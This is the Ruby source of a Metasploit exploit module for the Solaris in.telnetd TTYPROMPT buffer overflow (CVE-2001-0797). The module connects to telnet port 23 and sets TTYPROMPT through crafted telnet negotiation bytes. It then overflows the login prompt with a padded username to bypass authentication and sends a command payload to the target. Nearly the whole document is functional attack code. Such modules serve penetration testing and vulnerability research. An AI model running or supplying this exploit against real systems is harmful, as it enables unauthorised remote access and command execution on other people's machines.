Solaris in.telnetd TTYPROMPT - Buffer Overflow



##

# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,    
            'Name'           => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
            'Description'    => %q{
                This module uses a buffer overflow in the Solaris 'login'
            application to bypass authentication in the telnet daemon. 
            },
            'Author'         => [ 'MC', 'cazz' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'CVE', '2001-0797'],
                    [ 'OSVDB', '690'],
                    [ 'BID', '5531'],

                ],
            'Privileged'     => false,
            'Platform'       => ['unix', 'solaris'],
            'Arch'           => ARCH_CMD,
            'Payload'        =>
                {
                    'Space'    => 2000,
                    'BadChars' => '',
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl telnet',
                        }
                },
            'Targets'        => 
                [
                    ['Automatic', { }],
                ],
            'DisclosureDate' => 'Jan 18 2002',
            'DefaultTarget' => 0))
            
            register_options(
                [
                    Opt::RPORT(23),
                    OptString.new('USER', [ true, "The username to use",     "bin" ]),
                ], self.class)
    end

    def exploit
        connect
    
        banner = sock.get_once
        
        print_status('Setting TTYPROMPT...')
        
        req = 
            "\xff\xfc\x18" +
            "\xff\xfc\x1f" +
            "\xff\xfc\x21" +
            "\xff\xfc\x23" +
            "\xff\xfb\x22" +
            "\xff\xfc\x24" +
            "\xff\xfb\x27" +
            "\xff\xfb\x00" +
            "\xff\xfa\x27\x00" +
            "\x00TTYPROMPT" +
            "\x01" + 
            rand_text_alphanumeric(6) + 
            "\xff\xf0"    
        
        sock.put(req)
        sleep(0.25)
        
        print_status('Sending username...')
    
        filler = rand_text_alpha(rand(10) + 1)
 
        req << datastore['USER'] + (" #{filler}" * 65) 
        
        sock.put(req + "\n\n\n")

        sleep(0.25)
        sock.get_once
        
        sock.put(payload.encoded + "\n")

        sleep(0.25)
        
        handler
    end

end